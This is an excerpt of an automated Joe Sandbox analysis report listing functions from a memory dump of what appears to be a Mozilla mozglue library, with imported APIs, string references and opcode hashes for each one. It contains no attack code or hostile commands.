floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C374F2E
moz_xmalloc.MOZGLUE ref: 6C374F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C374F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3752B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3752E6
Sleep.KERNEL32(00000010), ref: 6C375481
free.MOZGLUE(?), ref: 6C375498

Strings

(, xrefs: 6C375250

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 15f6f1f4f3580825588dca53144c27fac43c0d61394990cd70886bcafa953585
Instruction ID: 8d70e9b15260c2134515d69a5de887e088fbea0166c8b274603d67a40d7e83e6
Opcode Fuzzy Hash: 15f6f1f4f3580825588dca53144c27fac43c0d61394990cd70886bcafa953585
Instruction Fuzzy Hash: 8FF1D371A19B018FC716CF39C85062BB7F9AFD6384F05872EF846A7651EB31D8468B81

Function 6C377030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C377046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C377060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C37707E

Part of subcall function 6C3281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C3281DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C377096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C37709C
LocalFree.KERNEL32(?), ref: 6C3770AA

Strings

### ERROR: %s: %s, xrefs: 6C377087
(null), xrefs: 6C37706A, 6C377083

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: b67d2d99b5d7a132c985a5e8362358fcddd29d5682ef5ea01951e999aea84f35
Instruction ID: db31e11eaf79b321619a0168cbef47bf994215f0add071e2527ebe0ab129964c
Opcode Fuzzy Hash: b67d2d99b5d7a132c985a5e8362358fcddd29d5682ef5ea01951e999aea84f35
Instruction Fuzzy Hash: 1B0179B2E00108AFDF145F65DC4ADEF7BBCEF49259F010425FA46A7241F67269148BA1

Function 6C339E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C339EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C339F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C339F34
LeaveCriticalSection.KERNEL32(?), ref: 6C33A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C33A8B1, 6C33A8D4, 6C33A8EF

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 6fd8225cf70d336c83c9ea618a863dae29dc2a5a2a8d00fec9d2f567fcee82fa
Instruction ID: b20077c3c24f31cb9b03c7e6b648565fb5d935d6bd0907b5d42dd2d0e9081068
Opcode Fuzzy Hash: 6fd8225cf70d336c83c9ea618a863dae29dc2a5a2a8d00fec9d2f567fcee82fa
Instruction Fuzzy Hash: A1726B72A056618FD704CF68C540615FBE1BF89328B29C76DE8A99F7A1D736E841CF80

Function 6C362C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C362C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C362C61

Part of subcall function 6C314DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C314E5A
Part of subcall function 6C314DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C314E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C362C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C362E2D

Part of subcall function 6C3281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C3281DE

Strings

(root), xrefs: 6C36354F
expected a Time entry, xrefs: 6C362E36
ProfileBuffer parse error: %s, xrefs: 6C362E3B

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 67a5be931ae6033d54a8f997f9dde074aabcd9b970f93f262e633f00c03f9f22
Instruction ID: b4a79faf7346b79a7ffdc32f452a9d689b6c7946ee3e68ef97bf3cad4f5ade95
Opcode Fuzzy Hash: 67a5be931ae6033d54a8f997f9dde074aabcd9b970f93f262e633f00c03f9f22
Instruction Fuzzy Hash: 0091CF706087408FC724CF26C49469EB7E5AF8A358F10491DE5DA8BB94EB31D549CF53

Function 6C379E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C379F3D
__aulldiv.LIBCMT ref: 6C379F77
__aullrem.LIBCMT ref: 6C379F8C
__aulldiv.LIBCMT ref: 6C37A023

Strings

-Infinity, xrefs: 6C379E60, 6C379E7B
NaN, xrefs: 6C379EAB

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 97eac59c81fa6e4edd91d371b0a379e0c7dd1876e1641d4d5f106476e492ae5e
Instruction ID: fb239883cea5ea0c4b764f1119220d6d53169e227af819335bad6c18a76df8d3
Opcode Fuzzy Hash: 97eac59c81fa6e4edd91d371b0a379e0c7dd1876e1641d4d5f106476e492ae5e
Instruction Fuzzy Hash: DCC19071E04318CBDB24CFA8C8507DEB7B6AB88318F144529D445ABB80D779E949CFE5

Function 6C31D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C31DA88
8, xrefs: 6C31DC08
0, xrefs: 6C31DC7F
@, xrefs: 6C31DAF6
0, xrefs: 6C31D852
-, xrefs: 6C31D7DD
1, xrefs: 6C31DBDD
9, xrefs: 6C31DE7F

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: c592c1c26722842598c83499c1c46c67cdb165f6eb26be59425cd0e0d3983cf2
Instruction ID: 887d9541ee8b8f1bc49a371b306a8a76cfecafe2707d221ac527b4a45cccda19
Opcode Fuzzy Hash: c592c1c26722842598c83499c1c46c67cdb165f6eb26be59425cd0e0d3983cf2
Instruction Fuzzy Hash: 7362997160C3858FD70ACE29C49075ABBF6AF87358F184A0DE4E54BE91C3369985CF92

Function 6C38545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C388A4B

Strings

~q1l, xrefs: 6C385703, 6C38921F, 6C389459, 6C385740, 6C389269, 6C3856C7, 6C38948F

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memset
String ID: ~q1l
API String ID: 2221118986-2110660629
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: a1572309a693cf199404927a86c75e2171fa73d0bfe2f67807c01d99d1b954d0
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: E6B1E772E0221A8FDB14CF68CC907E9B7B6EF85314F1802A9C589EB785D7309985CF91

Function 6C38542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C3888F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C38925C

Strings

~q1l, xrefs: 6C385703, 6C38921F, 6C389459, 6C385740, 6C389269, 6C3856C7, 6C38948F

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memset
String ID: ~q1l
API String ID: 2221118986-2110660629
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: b8def70219001be00f4b3a4594d5b699bf938279fc9ce2e8000663447e300a54
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: CBB1C572E0220A8FDB14CF68CC816ADB7B6EF85314F140269C949EB785D730A989CF91

Function 6C37C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C37C0E9), ref: 6C37C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C37C437
FreeLibrary.KERNEL32(?,6C37C0E9), ref: 6C37C44C

Strings

NtQueryVirtualMemory, xrefs: 6C37C431
ntdll.dll, xrefs: 6C37C413

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: e8aa37cd6d57988ce0784a8aa9f0905bcad3ff9c6d1e166c6b25d96b9ec04f43
Instruction ID: 5d89f80d072b9adb5fd273ba9dc72a1442d82c17d205f68b66f9b9f17900ac86
Opcode Fuzzy Hash: e8aa37cd6d57988ce0784a8aa9f0905bcad3ff9c6d1e166c6b25d96b9ec04f43
Instruction Fuzzy Hash: 6BE0B670A193119BDF61BF79E9087157BFCA70E208F10411AFA0495601FBBBC0108F64

Function 6C329F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C32AB22
' , xrefs: 6C32A3D8
1, xrefs: 6C32A824
0, xrefs: 6C32A100
@, xrefs: 6C32A625
9, xrefs: 6C32A5D6

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 89ba1867864aa4301bf30e63bdb728e48c6ad1140dde33b4ea518ee4c4935021
Instruction ID: 19f3c95ce5465a3cdb268f4a2f97f8b744f1e775069c3cd2d758c2c2309b219f
Opcode Fuzzy Hash: 89ba1867864aa4301bf30e63bdb728e48c6ad1140dde33b4ea518ee4c4935021
Instruction Fuzzy Hash: BA82D1315093158FDF11CF09C4902AEB7F1FB85718F658A2AE8D557A90D33EA886CF92

Function 6C31BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C31C1CB
__aulldiv.LIBCMT ref: 6C31C24C
__aulldiv.LIBCMT ref: 6C31C348
__aullrem.LIBCMT ref: 6C31C365
__aulldiv.LIBCMT ref: 6C31C37D

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 8a759e89afb4d32f0649d4118186f1a954d6c3289017c131e43661cb9902ad16
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 4F322432B086118FC718DE2CC890A56BBE6AFC9314F09867DE899CB795D730ED05CB91

Function 6C3677A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C367A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C367A93

Part of subcall function 6C335C50: GetTickCount64.KERNEL32 ref: 6C335D40
Part of subcall function 6C335C50: EnterCriticalSection.KERNEL32(6C39F688), ref: 6C335D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C367AA1

Part of subcall function 6C335C50: __aulldiv.LIBCMT ref: 6C335DB4
Part of subcall function 6C335C50: LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C335DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C367B31

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 0f188d16a8214d2ce0a3693168e72c913126bda45e88938d150d603c8ac6c9fe
Instruction ID: 4b8f5228f19b642985c592a70c519068e6fd6793766a2a47b9d5124cf8fe7b07
Opcode Fuzzy Hash: 0f188d16a8214d2ce0a3693168e72c913126bda45e88938d150d603c8ac6c9fe
Instruction Fuzzy Hash: 12B19A316083808BCB14CF26C05069FB7E2AFCA318F554A1DE99567B94DB71E90ACF83

Function 6C338850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C3397EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C339813, 6C33985D, 6C339878, 6C339CEB

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 1d45621758d9491d6d872133a1e312db345c6ff145fbefb85baabb1afa8e659c
Instruction ID: fa17c87b14f9bcabc42756075b2822ef43d1e8a1994e3190e8422f8b478e31f0
Opcode Fuzzy Hash: 1d45621758d9491d6d872133a1e312db345c6ff145fbefb85baabb1afa8e659c
Instruction Fuzzy Hash: 55D27B71A05751CFD708CF18C590615BBE1BF85328B29C76EE86E8B6A5CB32E841CF81

Function 6C356CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C356D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C356E1E

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 8d70ac55917e247f6f10c6c3c4a0a32751ed4df3f75db5ad5d68f211e0dcc89e
Instruction ID: 9584d0f4ac03d77732cf698e288a146d3f034309f609b93160d64da7219ceff7
Opcode Fuzzy Hash: 8d70ac55917e247f6f10c6c3c4a0a32751ed4df3f75db5ad5d68f211e0dcc89e
Instruction Fuzzy Hash: D7A15C74A183818FD715CF25C490BAEBBF6BF89308F44491DE48A87B51DB71A858CF92

Function 6C37B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C34FE3F), ref: 6C37B720
RtlNtStatusToDosError.NTDLL ref: 6C37B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C34FE3F), ref: 6C37B760

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: a81a8c2452dbafbd80dfdbaa7eac200fd7998458b1ecc426efc086f3cfd5c977
Instruction ID: 1a191430da3f229c9e6abf6920ab0398d814eae4a876f045ec699164f197aaaa
Opcode Fuzzy Hash: a81a8c2452dbafbd80dfdbaa7eac200fd7998458b1ecc426efc086f3cfd5c977
Instruction Fuzzy Hash: 09F0AFB0A0024CAEEF119AA19C84BEEB7BD9F0431EF105229E551696C0D77D958CCEB5

Function 6C334640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C334777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C335585, 6C3355A8, 6C3355C3, 6C335624

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 6265dd673307999e6e5d0a4c9ff6993b55af887920bc4fee8603a76310839b1b
Instruction ID: 793d035335e6dcc9c40ea4488f944b00242d417fca16eb798ed45d2961f4698f
Opcode Fuzzy Hash: 6265dd673307999e6e5d0a4c9ff6993b55af887920bc4fee8603a76310839b1b
Instruction Fuzzy Hash: 30B26B71A056518FD308CF19C590715BBE2BFC5328B29C7ADE86E8B6A5D772E841CF80

Function 6C3785F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C378C7C
__aulldiv.LIBCMT ref: 6C378DD7

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: c1d15562415a52cc6081d7fb3fc22ad70825917ec9708e21966e8b7added58e2
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 80327031F111198BDF18CE9CC4A17AEF7B6FB88300F15852AD506BB790DA389D458FA6

Function 6C3876E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q1l, xrefs: 6C387E0B, 6C3879FB, 6C3879C0, 6C387B0B, 6C387796, 6C38793C

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

